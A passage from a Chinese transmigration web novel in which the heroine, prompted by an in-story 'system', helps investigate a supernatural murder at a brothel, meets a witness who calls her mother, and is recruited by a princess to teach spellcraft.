“……任务完成,则增加主线攻略任务进度,任务失败,则宿主存活率降低百分之五十,请宿主认真完成任务。”
柳凝雪听完惊呆在了原地,让她一个手无缚鸡之力的人去查案!系统你要不要看自己在说什么?
而且是她不想认真攻略谢玄淮吗?还不是因为谢玄淮太危险了,她要好好思考对策。
然而,系统似看出了她心中所想,又道:“一切支线任务皆以宿主心中最大意愿进行延展,在上一个剧情中,系统数据明确反映出宿主对捉鬼的热情度大于攻略。”
柳凝雪更震惊了,系统竟然还有这种功能!
检测出她对捉鬼热情高的原因,有没有可能是施法过程她热
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情高涨?
毕竟哪个现代人没个修仙梦?!
柳凝雪想了一会儿,道:“行。”
打怪总比攻略病娇强。
想完,柳凝雪对车夫道:“去满春楼,不去柳府了。”
车夫应声带着她离开医馆。
柳凝雪到时,满春楼已经被疏散得差不多了,别人往外跑,她往里进。
柳凝雪打量了一下这栋楼,才往二楼跑去。
此时的江荨已经赶到了现场,一同前来的还有无忧,还有……谢玄淮。
柳凝雪万料不到他会出现在这里,看到彼此时,两人眼里现出了不同层度的惊讶,不过只对视了一瞬柳凝雪便移开了视线。
她看了一眼那尸首,问道:“江姐姐,出什么事了?”
江荨闻言转头看她,疑惑道:“世子妃?你怎么在这里?”
柳凝雪道:“我……路过……”
江荨道:“世子妃还是离开这里为好,此事与你无关。”
柳凝雪早知江荨会这么说,她犹豫了一下便退了出去。
门外面是被大理寺的人看管的林月明和江若宁,还有梅娘子。
春葵已经被吓得神智不清了,张嘴闭嘴都是死人了,柳凝雪出来时正巧看到靠墙坐着的春葵。
春葵看到她时,怔愣了一下,充斥着恐慌的双眼睁得大大的,就好像她是什么地狱魔鬼一般。
柳凝雪还没反应过来她是什么意思,就见她猛地站起来朝她扑过去。
这突然的动作搞得人措不及防,柳凝雪被她扑得往后倒去,脑袋咚一声砸在地板上,痛得她皱起眉头,倒吸了一口凉气。
里面的人听到声音忙从房里出来,大理寺的人也紧跟着上前拉开春葵。
可春葵就像是中了咒般,像条八爪鱼一样牢牢地钳住柳凝雪,任凭别人怎么拉也拉不开。
“你……”柳凝雪有气无力道:“你给我下来。”
春葵依旧不听,无论守卫怎么抓她,她都不放手,别人碰她还会应激疯叫咬人。
柳凝雪费力地朝江荨伸手,道:“救救我……”
江荨见状,上前便是一记手刀将春葵劈晕过去。
柳凝雪松了口气,将春葵从自己身推开,再费劲地从地上爬起来。
她揉了揉后脑勺,问道:“这人……怎么回事啊?”
那一下子可摔得不轻,导致她脑袋现在还痛得不行。
江荨皱了皱眉,问看管春葵的人道:“方才她有表现出什么异常的地方吗?”
大理寺的人摇头道:“没有。”
柳凝雪理了理自己粉色的衣裙,道:“莫不是她对粉色应激?”
但这只是她的随口一说,她之前从未见过春葵,也不知道她为什么对自己这么激动。
江荨道:“先将人带回司灵监,案子司灵监接手了。”
说完,她又转头对柳凝雪道:“世子妃,怕是麻烦你去一趟司灵监了。”
柳凝雪对这个来之不易的查案机会求之不得,当即便应了下来,道:“好。”
24. 审迅
检查过现场,案子的相关人员都被带去了司灵监。
江荨从死者身上检测到了邪祟之气,所以案子理所应当让给钦天监协助司灵监处理。
柳凝雪是最后一个待审人,在等候审迅的时候,听到一旁有人道:“这钦天监副监也是倒霉,新官上任第一天就发生了这种事情。”
“你在意他做什么?听说这钦天监副监是敬王世子,这种富家子弟说不定只是找个官职玩玩而已,未必就真心断案。”
敬王世子说的不就是谢玄淮吗?
柳凝雪惊讶得瞪大双眼,问一旁的小吏道:“你说敬王世子是今天才上任的?”
小吏被突然提问,莫名地看了柳凝雪一眼,只觉眼前人很陌生,他回道:“对……对啊,圣旨刚下不久,官员间都传开了,不过多时,就众人皆知了。”
柳凝雪心下了然,她就说谢玄淮没时间陪她回门是做什么,原来是进宫求职去了,不过他为什么要当钦天监副监啊?
正想着,身旁又传来小吏的话道:“他们这些世家子弟当官就是简单,有点权力身份随便一句话就能当六品官了,不像咱们,没钱没身世,只能一步一步往上爬。”
他话中多有怨言和不满,柳凝雪非常感同身受地回了句,“就是!”
小吏听到她的回答,当即便像找到了知己般,两眼发亮,和她说个不停,道:“我就说吧,现在这个世道,官都是世家子弟想当就当,不当就不当,要想只通过科举升官,我只能说,没门。”
柳凝雪似深有体会般点了点头,“嗯。”
小吏见她这般近人情,便心觉她不是那种心高气傲的权贵人家,越发和她聊得来了,到最后甚至有几分相见恨晚的意思。
小吏道:“对了,我叫伍史,你叫什么?想来你也是被这件案子牵连的无辜人。”
柳凝雪很爽快地回他,道:“叫我阿凝就好。”
阿凝是她以前的小名。
伍史道:“好。”
聊了一会儿,便有人来请柳凝雪去审迅,伍史被吩咐去端茶递水了。
来人朝柳凝雪行了一礼,道:“世子妃,请。”
柳凝雪便起身跟着她进了审迅室,入门处摆了一张长桌,江荨和谢玄淮就坐在长桌后听审,正对着他们是一张小桌,是被审人坐的,一旁还有司薄在记录。
江荨见到她时,两人皆颔首示意,江荨道:“世子妃请坐,不必紧张,我只是想问你几句话。”
柳凝雪本就是此案的无关人员,只是她莫名被春葵扑倒,需要来记一下口供。
一坐下,就听江荨问道:“世子妃,你此前可有与春葵认识?”
柳凝雪摇头道:“不曾。”
司薄在一旁将两人的对话记下来。
江荨又问:“你当时可有对春葵做了什么吗?”
柳凝雪还是摇头道:“没有。”
江荨点头,示意旁人可以放她离开了,可就在这时,谢玄淮忽然出声问道:“你为什么来满春楼。”
他语气淡漠,目光看着柳凝雪,柳凝雪想了一下措辞,如实道:“今日我本想回柳府探亲,却在半路听到满春楼出了命案,而且是司灵监处理,所以我就动了心思去满春楼一看。”
谢玄淮眼眸微微眯起,又问道:“据我所知,去柳府似乎和去满春楼并不顺路。”
柳凝雪道:“是不顺路,在去时,我救了一个人,将他送去医馆时,恰好路过了满春楼,若是不信,可以请今日送我去的车夫来当面对质。”
她说话不卑不亢,条理清晰,看着他们的眼眸澄澈不见丝毫惧色,江荨余光扫了一眼谢玄淮,在这之前审迅别人可没见他这么多问题。
话落,谢玄淮薄唇轻启,道:“带春葵。”
不过一会儿,便有人将春葵带了过来,春葵本就疯疯癫癫的,现下更是神智不清,六亲不认。
她嗬嗬嗬地疯笑着,女吏把她带到,她似乎感觉到屋里严肃沉穆的气氛,笑声逐渐低了下去。
谢玄淮望着跪在地上的人,问她:“你见过她吗?”
听到声音,抬头看向谢玄淮,触及他冰冷的视线,春葵猛地往后一缩。
江荨看了她一眼,安抚道:“别怕,你看看你身旁的人,你认识她吗?只需回答认识或不认识就行。”
听了她的话,春葵的心稍稍安了下来,缓慢转头看身边的人。
然而,只看一眼,她就像疯了一般,朝柳凝雪扑了上去,尖叫声差点把人的耳膜撕破。
“是你!!!是你!!!”
她扑上去紧紧抓住柳凝雪的双肩,柳凝雪被她摇得整个人身形不稳,向一旁倒去。
谢玄淮一个疾步上前,一手扶住她,一手抓住春葵将两人分开。
春葵在他手里挣扎不停,可无奈谢玄淮手劲大得很,根本挣脱不了。
谢玄淮的目光略带几分探究看着她,柳凝雪很无辜地回他,道:“我真不认识她。”
正在众人不解时,春葵突然朝柳凝雪跪了下来,喊了一声,“娘亲!”
轰!
柳凝雪脑海里宛如一道惊雷劈过,愣在了原地,结结巴巴地指着她,问旁人:“她……她刚刚喊我什么?”
审迅室里众人一时神色各异,柳凝雪百口莫辩,“我……我真的不认识她!”
春葵也不知道怎么了,听到她这句话,忽然哭了起来,凄惨不已,众人看她的神色更加复杂了。
柳凝雪站起身来,一把抓住春葵的双肩,问她:“你说清楚点,谁是你娘啊?”
春葵哭哭啼啼的,也不说其他的,就只是对着柳凝雪喊娘。
江荨见状,道:“世子妃受惊了,来人,将春葵带下去。”
说完,便有人上前将春葵带走,春葵仍不死心地回头看柳凝雪,哭喊道:“娘,救我!”
柳凝雪心中戚戚,江荨走过去对她说道:“世子妃,后续的事情还需要麻烦你配合我们了。”
柳凝雪道:“没事没事,需要我帮忙的话,尽管和我说。”
出了司灵监,天色已晚,柳凝雪上了王府的马车便走了。
她
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靠在车壁上思量着,谢玄淮为什么突然要当钦天监监副,各处的灵异事件一般都是交由司灵监处理,钦天监协助。
且主持处理案件的多数时候是监副,若只是江荨还好,可多了个谢玄淮,想帮主角团破案就难了,他总对自己有着莫名强大的疑心。
柳凝雪揉了揉眉心,有些烦燥地双手托腮,马车约行使了半个时辰后才回到王府。
谢玄淮在钦天监处理着上任事务,今晚大概是回不了家了。
柳凝雪用完晚膳,沐浴过后便睡了。
一觉睡到天明,刚天一亮就有人来告诉她,“永善郡主下了请帖,说让世子妃到府上一见。”
侍女手上还拿着林月明给的紫封拜帖,柳凝雪道:“我知道了。”
用过了早膳,柳凝雪才动身前往赵国公府,在去的过程中,她细细回想了下原书中的林月明。
同样是幼年父母双亡,自己撑着诺大的国公府,府里还住着大伯父一家人,称是心疼她一个人孤苦伶仃,要搬进来照顾她,明面上虽是如此,实则是想将国公府占为己有。
幸好这些年林月明足够坚强,背后还有外祖家撑腰,才没让伯父一家得逞,外人都说她蛮横无理,跋扈至极,可只有她知道,若是自己不这做,势必会被世上这些道德框架所束缚,将国公府拱手相让。
马车行了好一会儿,才到赵国公府,府上的人知道柳凝雪会来,早早就派了侍女在门外等候。
柳凝雪下了马车,便有一位侍女上前道:“奴婢是郡主身边的贴身侍女,世子妃唤奴长青便好。”
长青眉目坚毅,腰身板直,带着一股出身高门世家,经过书香薰染的自信,柳凝雪点了点头。
长青领着她进府,刚一进府,就有一阵清风袭来,携着春日淡淡花香,周围静得出奇,却不像敬王府般静得让人感觉压抑,这里的静是令人舒适的。
赵国公府被林月明打理得很好,院子花圃树木都有专门的人来打理,院中五颜六色,百花争艳,鸟语花香。
长青边领着她边对她说道:“今日请帖下的突兀,还请世子妃莫怪。”
柳凝雪当然不会因为这种小事感到不悦,道:“没事。”
长青又道:“郡主早些日子便听说过世子妃曾协助司灵监破黄家村邪祟一案的事情,只是到今日才有机会求见世子妃一面。”
柳凝雪听着点头,黄家村的事一出,又拉了一批官员下马,众人注意力都集中在拐卖一案上,京中早有官员一直在暗中调查拐卖案一事,司灵监除邪恰好助了他们一臂之力。
陈年旧案再被翻出,又引起了一阵风波,柳凝雪参与进了黄家村一事,受到关注是难免的,但她不觉得林月明找她仅仅是因为这件事。
长青又和她说了些话,不久便将她带到了一栋小楼前。
临月楼——林月明的住处,楼高三层,临水而建,院中栽了许多鲜艳明丽的花,夜晚在楼前站着时,仰头看去,能看见圆月与楼阁相叠,宛如一幅画。
长青道:“郡主就在楼上,世子妃,请。”
25. 怨灵弓
谢玄淮在钦天监一直忙到早上才回府中。
钦天监这种职业若放以前倒是个闲差,平时没事测测天气,可自打有了邪祟开始,就成了苦差。
领的月俸还是一样的,但门槛却高了许多,必须要会几门术法,不仅如此,还要逢乱必出,平时还要测卦看天象,久而久之就没人愿意当了。
正逢钦天监副监被撤,圣上一直苦于无人可选,这时谢玄淮跳出来自荐,圣上乐得有人顶上,当即便应了下来,百官也没什么怨言,单会术法这一件就能堵不少人的嘴。
回到倚竹院,谢玄淮沐浴了一番便开始处理公文,李慕言作为钦天监出差几个月,压着的公文没人处理,刚回来又请病假,所以这些公文就落到了谢玄淮这个新任监副手中。
昨晚太忙,他只睡了一个时辰,现下又打起精神来处理事务,他端起凉茶喝了一口,眉头紧蹙,压抑着心底窜起的火气。
一直忙到中午,影卫突然过来找他,对他说:“世子,怨灵弓有消息了。”
谢玄淮刚拿过奏折的手顿了一下,他抬眸看向他,耐着性子道:“什么消息。”
语气冷如冰霜,现在来烦他最好是带了有用的消息。
影卫跪在地上纹丝不动,道:“满春楼里的梅娘子也是阴时生人。”
“阴时生人?”谢玄淮放下了手中的奏折,据书中记载,怨灵弓会自动寻找符合条件的阴时生人当主子,它游荡在人间吸收无数怨念,变得越来越强大,位列十大怨器之中。
为了寻找怨灵弓,谢玄淮进了钦天监,当了监副便有足够正当的理由去寻怨灵弓,否则他也不会接下这烂摊子。
他对梅娘子没什么印象,张永升死时她有足够的不在场证明,所以司灵监没有请她去记口供。
谢玄淮问道:“她现在在哪里?”
影卫道:“她被永善郡主带走了,现在正在赵国公府。”
谢玄淮眉头蹙起,道:“永善郡主?她找她做什么?”
他在脑海里细细回想了一下关于这位郡主的事迹,除了听旁人常说的蛮横以外,其余一切印象皆无。
怨灵弓吸收怨念的主要方式是通过控制持弓者去杀人,每隔十五天便要杀一人,若是梅娘子是持弓者的话,张永升的命案可能和她离不开干系。
谢玄淮喝了一口凉茶,眼眸幽深,道:“她是不是持弓者,十五天后自会知晓。”
——
长青带着柳凝雪往临月楼二楼走去,彼时林月明已经在茶座上候着了。
长青上前见礼,道:“郡主,敬王世子妃已带到。”
林月明闻言转头看向柳凝雪,后者朝她行了一礼,道:“见过郡主。”
林月明起身回礼,道:“世子妃不必客气,请坐。”
两人随即面对面坐了下来,侍女为柳凝雪添了茶。
林月明看着她说道:“世子妃可知我请你来是为何事?”
柳凝雪摇了摇头,“不知道。”
林月明扫了她一眼,说:“我知道你会术法,谢玄淮的术法也肯定是你教的,所以我请你来是想让你教我术法,帮我破案的。”
柳凝雪有些不确定地看她,道:“我吗?”
林月明道:“是你,你想要什么尽管和我开口说,只要我能做到的,若是不愿……”
林月明停顿了一下,又道:“你既进了这赵国公府,就别想那么容易就离开,你与谢玄淮夫妻不睦,想必他是不会想多管闲事的。”
柳凝雪端起茶轻抿了一口压压惊,没想到林月明连她和谢玄淮夫妻不睦这种事都能查得出来,这就是权力的力量吗?
见柳凝雪沉默这么久,林月明眉心蹙起,道:“你当真不愿?”
她语气冷了几分,柳凝雪看她的样子似是下一秒就要用强的了,她忙回道:“不是不愿,我当然愿意。”
有人来帮她查案她感激不尽,怎么会拒绝呢?
林月明面色缓了几分,侍女接着给柳凝雪续茶,她问道:“你有什么要求吗?我会尽量满足你,如果是想和谢玄淮和离,我也会帮你。”
柳凝雪道:“不不不,这些都不是我想要的,能帮得上郡主的忙,我是很乐意的,这次就当是郡主欠了我一个人情,以后要是有什么难处的话,还请郡主能施以援手,如此便好。”
林月明挑眉,半信半疑地看了下她,道:“就这样?”
柳凝雪又想了想,确实想不出什么特别想要的,她说:“就这样。”
她面色平静,神色从容,倒和以往见过的那些势利小人不同,林月明对她的态度不免好了几分,道:“那这几日你就暂住我府中,教我术法,助我破案,我会写信去敬王府的,你不必担忧。”
柳凝雪想说她一点不担忧,敬王府太沉闷了,她一点都不想多待,住在这里才能让她感受到一丝丝享受生活的气息。
林月明行事也从不拖沓,刚说完,转头就去吩咐侍女,道:“这几日世子妃就住在我的院子里,去给她安排房间。”
侍女领命退下,柳凝雪道:“我可以问郡主一个问题吗?”
林月明眼都没抬,说:“问。”
柳凝雪道:“郡主为什么想要查这件案子,以司灵监的能力破这件案子只是时间问题,郡主又何须多此一举?”
林月明抬眸扫了她一眼道:“与你无关,你只需帮我破了此案,教我术法即可。”
柳凝雪心中仍是疑惑不解,以林月明的身份找什么样的得道高深之人不行?为什么偏偏找她?
柳凝雪问她:“郡主要我如何助你破了此案?”
林月明闻言,对身旁的侍女勾了勾手,侍女会意呈上两张纸来。
白纸上写满了正楷,林月明接过白纸递给她,道:“这是我命人去查的春葵,她是与这件案子关系莫大,说不定奶就是突破口。”
柳凝雪接过白纸认真看了起来,上面写了春葵的家世及一些事迹。
既然是合作,林月明也必要再多瞒她什么,直截了道:“我之前便见过几位死者手背有梅花印记的,但因为没发现有关邪祟的痕迹
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,所以案子一直都是由大理寺去处理。”
“他们都认为这是连环杀人案,但我天生就对邪祟之气敏感,能感受得出现场残存有邪祟气息,虽然很是细微。”
“春葵事发时就在场,很可能她知道什么,只是没想到她疯了,除了你她谁也不认。”
柳凝雪边看边听林月明的解说,心里已经明白几分,春葵被她爹卖进满春楼时就得了疯病,只是偶尔表现得正常。
何妈妈不舍得自己的银子,又看她姿色不错,所以即使春葵每月会有几天的时间发病,她也依旧让春葵去接客。
这一来二去的,春葵的病也得不到治疗,疯病加深,这次又目击了杀人现场,在一连的打击之下彻底疯了,以为自己还停留在十六岁被卖进满春楼前。
她会把柳凝雪认作娘亲,是因为她的娘亲年轻时和柳凝雪长得有几分相似,且又喜欢穿粉衣。
林月明道:“她娘死得早,自己又被折磨疯了。”
柳凝雪望了她一眼,问她道:“想破案要从春葵下手,可春葵在司灵监被关着,我们怎么找她?”
林月明敛去眸底的一抹异色,看她道:“你是不是太小瞧我了?我是圣上亲封的郡主,见她只要我抬抬手。”
柳凝雪再一次感叹权力的力量,她喝了一口茶,道:“事不宜迟,我们下午就去司灵监吧。”
见柳凝雪这般爽快利落,林月明心中的好感又多了几分,道:“行。”
——
重门深院处,屋宇檀香萦绕,微风徐徐,吹动廊下银铃轻晃。
院落静谧至极,针落可闻,屋中临窗榻上,端正地跪着一人,一身蓝衣打理得一丝不苟,修长如玉的手指拨弄着炉中香灰。
夕阳温煦的柔光落在他堪比仙人之姿的面庞之上,明明相貌柔和,却无端生出几分冷淡疏离来,宛如天上宫人,令人望而止步,可望不可及。
这时,一名侍女从外轻步走了进来,朝他跪下来说道:“公子,永善郡主和敬王世子妃去司灵监了。”
她说话不疾不徐,语气不轻不重,面色平淡和缓,显然训练有素。
李慕言闻言,手上动作停下,平静无波的凤眸微抬,轻声说道:“敬王世子妃?”
他这般轻声低唤,却像是情人间的亲昵耳语,缠绵悱恻,意蕴深长。
“是她……”
侍女道:“要不要……”
“不用,让她去。”
话落,侍女退了出去,夕阳余晖依旧,李慕言双手平齐放到膝上,他低眸看了眼桌上的发簪,这是那天她用来刺蛇的发簪。
当时她杀生的眼神是何其的决绝,全然没有半分平常女子该有温柔娴雅。
真是有趣。
李慕言又将手中的两枚铜板放到桌上,与碧玉的发簪两相交映,莫名透着一道诡异的气息。
他将桌上玉簪拿上,放在手中细细观赏,慢慢品味,眼眸面色出奇的平静,平静到极致竟现出几分疯狂。
“很期待你能给我带来什么惊喜……”
26. 查探
林月明说到做到,她带着柳凝雪来到了关押春葵的牢房里,说道:“我们只有一柱香的时间。”
柳凝雪点头,随着她走进昏暗的牢房里,可能是久不见天光的原因,这里散发着一股难闻的霉味和潮湿的气息。
柳凝雪秀眉轻蹙,用袖子掩了掩口鼻,她抬眸扫了一眼牢房内,便见春葵缩在墙角处,神情木讷,两眼空洞,呆愣地看着前方,察觉到她们进来,也没有任动作。
林月明对她说道:“春葵,你看我带了谁来看你?”
一点前摇也没,林月明就这么说了出来,柳凝雪愣了一下,心里咆哮了一声,喂!我还没想好要怎么问呢!
春葵这才犹如机械般一帧一帧转过头来,看向她们,她怔了几秒,下一刻就疯了般冲向柳凝雪。
“娘!娘!”她扑向柳凝雪紧紧地抱住她,口里喊着。
柳凝雪:“……”
看着跪在地上抱着她的春葵,她一时无语,内心交战了一番后,慢慢地伸出手摸上春葵的头。
她僵硬地安抚着,道:“别怕……我在。”
林月明见时机差不多了,便问道:“春葵,昨天你和张二公子待在房间里时看到了什么?”
然而春葵像是没听到她说的话一样,沉默着不语。
林月明看了柳凝雪一眼,随即,柳凝雪问道:“春葵,昨天你和张二公子待在房间看到了什么?和我说一下好吗?”
同样的话语,语气却截然不同,抱着她的春葵动了动,后者回想了一下说道:“看到……看到,鬼……红色衣服的女鬼……鬼……我看到了……是鬼!!有鬼!!!有鬼啊!娘,我怕!”
春葵说着情绪越发激动起来,她眼神乱晃,嘴里不停地念叨着“有鬼……”
柳凝雪忙伸手抚了抚她的后背,安慰道:“别怕别怕,娘在娘在……”
在柳凝雪的细声安抚下,春葵颤抖的身体缓缓平静下来,抱着她的双手更紧了。
柳凝雪又问道:“那个女鬼长什么样?是怎么杀了张二公子的?”
“怎么杀的……怎么杀的……”春葵喃喃道,她猛地松开了柳凝雪,往后退去,神色慌乱地喊着,“我不知道!我不知道!”
柳凝雪顿住了,偏头去看林月明,林月明道:“走吧,应该也问不出什么了。”
话落,两人便出牢房,林月明道:“这么说梅娘子就不是凶手喽。”
柳凝雪问道:“你为什么会怀疑梅娘子是凶手?”
林月明道:“那些死者除了手背上的梅花印记外,唯一的共同点就是他们都和梅娘子有过来往。”
柳凝雪道:“所以你查到这条线索就去满春楼找梅娘子?”
林月明道:“对,我不会放过每一个可疑的点,不过照春葵这么说的话,鬼杀人,那梅娘子就排除嫌疑了。”
柳凝雪想了想,道:“不一定。”
毕竟有前车之鉴,春葵的供词还不足为梅娘子开脱。
正要走到外面时,柳凝雪忽地想起了什么,问林月明道:“欸,我们这么进来,被江姐姐知道了怎么办?”
林月明扫了她一眼,道:“都进去又出来了,你才想起这件事?再说,你怕什么,出了事我担着。”
柳凝雪知道她不只是说说而已,作为原书身份高贵的女二,她有的是底气。
林月明写给谢玄淮的信是下午送到的,此时的谢玄淮正在处理奏折。
钦天监积压的奏折已经被他处理完一半了,又看完一页,谢玄淮伸手揉了揉眉心,站起桌上的凉茶喝了一口。
这时,影卫进来回道:“世子,永善郡主给你送来了一封信。”
谢玄淮眼也没抬,继续看着手上的奏折,道:“信上说什么?”
影卫道:“永善郡主说世子妃会在赵国公府住上几日。”
谢玄淮对柳凝雪的动向不感兴趣,道:“随她。”
影卫又道:“江荨已经在查春葵的身世了,不日就会知道怨灵弓的存在,世子可要阻止他们?”
说到这里,谢玄淮才放下手中的奏折,抬眸看向单膝跪地的影卫,道:“那就让她慢点。”
他又问道:“查出下一位死者会是谁了吗?”
影卫道:“暂没,不过属下已经将下一个可能死的人列在了名单上。”
说着,影卫将一份名单递给了他,怨灵弓对要杀死的人也有要求,往往死的人身上定会有某些相同的特征。
谢玄淮将名单展开看了下,大概有十一个人,和之前死的三个人的共同点是,同年同日生,勋贵子弟,有过婚约或是已成婚,且都爱喝酒逛花楼。
谢玄淮将名单合起来,道:“有动静就来告诉我。”
影卫道:“是。”
——
夜色正浓,上京城街道两侧的店铺前已经挂起了一盏盏明灯。
江荨和沈如珩游走在行人间,拿着无忧给线索去找春葵原本的家。
司灵监可用之人不多,凡事多要江荨和沈如珩两名监副亲力亲为,且一般重大的案子,江荨也不放心其他人去查。
江荨在街道上望了四周一眼,对沈如珩道:“师兄,从这里进。”
沈如珩点头,随着她进了一条昏暗的小巷。
在来的路上,她大致和沈如珩说了一下关于春葵的身世,他们去春葵家就是为了看看能不能找出一点线索。
按理说,春葵在现场目睹了一切,理应会被灭口才是,但她没有,那么犯案的人很可能是她认识的,而且关系不浅。
在满春楼找不到结果,那就来她的家找。
走了一段路后,江荨和沈如珩停在一家院门前,她抬手敲了敲,问道:“请问有人在吗?”
说完,很快就有人来开了门,是一位中年妇女,那位妇女打量了江荨二人几眼,警惕道:“你们是谁?”
江荨将腰间的身份牌摘了下来递到她眼前,道:“我们是司灵监的人,我想问一下你有关春葵的事情。”
听到这话,妇女脸上明显松了一口气。
她侧身让开给江荨两人进来。
妇女将他们迎进门,道:
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“你就是司灵监的江大人吧?我听说过你,他们都说你是个好人。”
妇女又忙着给两人倒了茶,道:“大人叫我李氏就好,你们想问什么尽管问吧。”
江荨点了点头,李氏是续弦,来之前了解过,她环顾了周围一圈,院落残败空荡,家境贫寒,李氏敏感,注意到她的目光,讪笑道:“我这……让大人见笑,这几年的积蓄都让我家男人败光了,方才大人上门来,我还以为是要债的呢。”
江荨在木椅上坐了下来,对她说:“你不必紧张,我问什么你答什么就行。”
李氏也跟着在她对面坐了下来,道:“大人你尽管问。”
江荨道:“这里是被卖到满春楼的春葵的家吗?”
往事再被提起,李氏心颤了下道:“是。”
江荨问:“她有什么特别熟悉的朋友吗?”
李氏道:“这倒没听说过,她是十六岁那年被她父亲卖出去的,平时也是个腼腆的丫头,大门不出,二门不迈的。”
江荨沉默了一阵,李氏有些忐忑地问:“大人,春葵可是出了什么事?”
江荨回道:“实不相瞒,春葵牵扯到一桩命案,所以还请夫人您不要有所隐瞒。”
李氏忙道:“不敢不敢,大人问什么,我自是答什么的。”
李氏又尽力回想了一下,道:“特别熟的倒没有,不过曾经有位梅姓的人托人给了我几次银子,而且每次的数目都不小,我一直收着没敢用,没想到竟被那畜生发现,全拿去吃喝嫖赌了。”
江荨眉头蹙起,道:“梅姓的人?除了银子还有什么其他的东西吗?”
李氏道:“有有有,有块帕子是包着银子的,我看那帕子女红精细就一直藏着。”
话落,李氏赶紧起身回到屋里取出帕子,那帕子如她所说的那般,绣花精细,红艳的梅花在帕上静静地绽放着。
江荨接过帕子仔细翻看,而后又凑到鼻前闻了闻,与梅娘子身上的香气无二,帕角处还绣了个细小的“梅”字。
江荨看完便将手中的帕子递给沈如珩,沈如珩扫了她一眼,迟疑了一下才面无表情地接过。
他道:“单凭帕子也不能断定就和梅娘子有关。”
江荨道:“是不是她,查下去就知道了。”
江荨又对李氏道:“能冒昧问一下,夫人家中可有春葵母亲的画像?”
李氏道:“有有有,我这就拿。”
李氏又匆匆赶回屋中取出春葵母亲的画像,道:“当年她娘也是这方圆几里的美人,有位大师路过这里给她作了幅画,说来惭愧,我想着若是实在没钱了,便将画卖了,幸好还没卖出去。”
江荨拿过画看了片刻,画上的人竟和柳凝雪有几分相似,且都是穿着粉色衣裙。
江荨道:“这幅画我买下了,十两银子可够?”
李氏愣了一下才反应过来,道:“够,够的,反正一幅画也没值几个钱,我留着也没用。”
江荨便取出十两银子放到桌上,顺带也给了十两帕子的钱,对沈如珩道:“走吧。”
27. 猜忌
不知道是不是江荨的错觉,这条小巷比方才来时更加阴凉了些。
夜色渐深,巷子深处没什么行人,维持光明的仅是天上满布的繁星,多年培养起来的警惕性让她下意识地握紧了手中的苍生剑。
巷子里一阵阴风吹过,凉飕飕的,让人不禁起了一身的鸡皮疙瘩。
伴随凉风而来的是女子幽幽的抽泣声,江荨登时停下了往前的脚步,沈如珩也如她般警觉地望着四周。
这时,巷子前方的拐角处忽然出现一抹红色身影,身着红衣的女子趴伏在地上,身上衣裳青丝凌乱,露出的手腕上青紫交加,伤痕触目惊心,那阵抽泣声正是她发出来的。
她哭声不断,江荨和沈如珩对视了一眼,随即,江荨上前几步来到她身边,蹲下身问她:“姑娘,你怎么了?”
她的手搭在她的肩,正想扶她起来,那位姑娘闻声抬起头来,江荨顿时瞪大双眼,只见那死人白的脸上,有着两个窟窿正往不断流着血泪,她的双眼被人硬生生挖了出来!
——
“砰——”一声响起,诺大的殿门被人从外打开了,积压了几年的灰尘霎时往外扑去,柳凝雪和林月明同时抬手挥了挥,柳凝雪捂着口鼻,皱眉道:“你这多少年没打开过了?”
林月明也皱着眉,捂着口鼻道:“记不清了。”
过多的灰尘不可避免被吸入,柳凝雪呛咳了几声,待灰尘散尽后,才借着月色看清殿内的景象。
储宝殿是林月明父母在世时从各地收集来的宝物,两人对名品珍器爱不释手,去世后储宝殿也就继承在了林月明手下。
林月明道:“里面的宝器随便挑,但它们都是有灵,你挑中还得看它愿不愿意。”
柳凝雪点了点头,自从司灵监出来后,她们就打算再去一趟满春楼一探究竟,林月明看她身无法器宝剑在身,便带她回来挑防身的宝器。
殿中器物琳琅满目,应接不暇,柳凝雪一件又一件地细细打量挑选着,最后她停在了一个沉香木盒面前。
这个沉香木盒和其他宝器给她的感觉不同,柳凝雪看了这么多都是无感的,唯独到了这里,能感受到盒子里东西的震动,似乎在说“选我”。
她转身对林月明道:“就这个吧。”
正在看剑的林月明闻声转头去看她,她扫了一眼木盒,道:“你确定?”
柳凝雪毫不犹豫地点了点头,见此,林月明也不在说什么,拿着剑走过去,她将木盒拿起,按下其中机关,只听“咔哒”一声,木盒盖子就松了。
林月明将盒子递给柳凝雪,柳凝雪接过盒子打开,里面是两副镯子。
一副金色和一副白玉,金色镯子内外两层,中间框着一个正方形,雕刻精美丰富,且内外两个圆镯是可灵活移动,三个部件并没有紧密贴合,却又拆不散。
白玉镯远看似有白云流动,烟雾缭绕,白中又透着点青,如果凑近仔细看的话就会发现其实数不清的细小的白棋和青棋在飞速流动,构勒出一副烟云飘动的画面。
河棋镯和洛玉镯,一副天生为棋术一道而生的法器,柳凝雪将镯子取出来戴在手上,出乎意料的合适。
林月明挑了挑眉,道:“不错嘛,你竟然和棋术一道有缘。”
柳凝雪不知道棋术一道在修道界的地位性,见林月明目露探究地看着她,她道:“可能是我以前学过棋术的原因?”
林月明道:“既然选好了,那现在就去吧。”
柳凝雪点了点头,道:“嗯。”
已传亥时,街上都没什么行人了,林月明抱着剑和柳凝雪走在荒凉的街道上,满春楼现下已被查封,她们当然不能走正规道路进去。
林月明边赶路边对柳凝雪说道:“你会武功吧。”
柳凝雪正想说她不会,林月明已经三两下翻墙进了满春楼。
柳凝雪:“……”
她看了周围一圈,最后把目光放在离墙不远的大树上,看粗细,应该有十几年树龄了,粗大的树枝伸进了院中。
柳凝雪挽了挽袖子,猛吸一口气,双手攀到树上。
等柳凝雪翻进院子时,墙后的林月明已经等的不耐烦,见柳凝雪好不容易翻身从墙上下来,她嫌弃地看了她一眼,道:“你不是会武功吗?”
柳凝雪拍了拍两手的灰尘,双手叉腰道:“我什么时候说过了。”
林月明不想在这里和她争,浪费时间,她道:“走吧。”
柳凝雪在原地无语了片刻,才跟上林月明。
满春楼里还维持着当日的现状,楼外守卫懒散,她们很容易就进了楼,进去的第一时间,林月明先是观察了一下,再往楼上走。
柳凝雪一进门就感觉这里阴气森森的,或许这是凶宅多多少少都具有的特性,柳凝雪搓了搓两臂,让自己的身体变暖些。
两人一齐上了二楼,柳凝雪跟紧了林月明,不为其它,因为她手中的邀月剑有识邪的功能,如果真有什么不干净的东西,邀月能第一时间感应,也好有个防备。
借着月光,两人摸到了之前的房间,房门上了锁,林月明也不知从哪搞来的钥匙开了门,刚一开门,便有一股血腥气扑面而来。
味道冲得柳凝雪差点吐了出来,她干呕了两声,林月明也扶着墙干呕了几下。
张永升死时流血极多,为维持现场,房中未曾有人过来打扫,血凝固在了地面上,散发一股臭味。
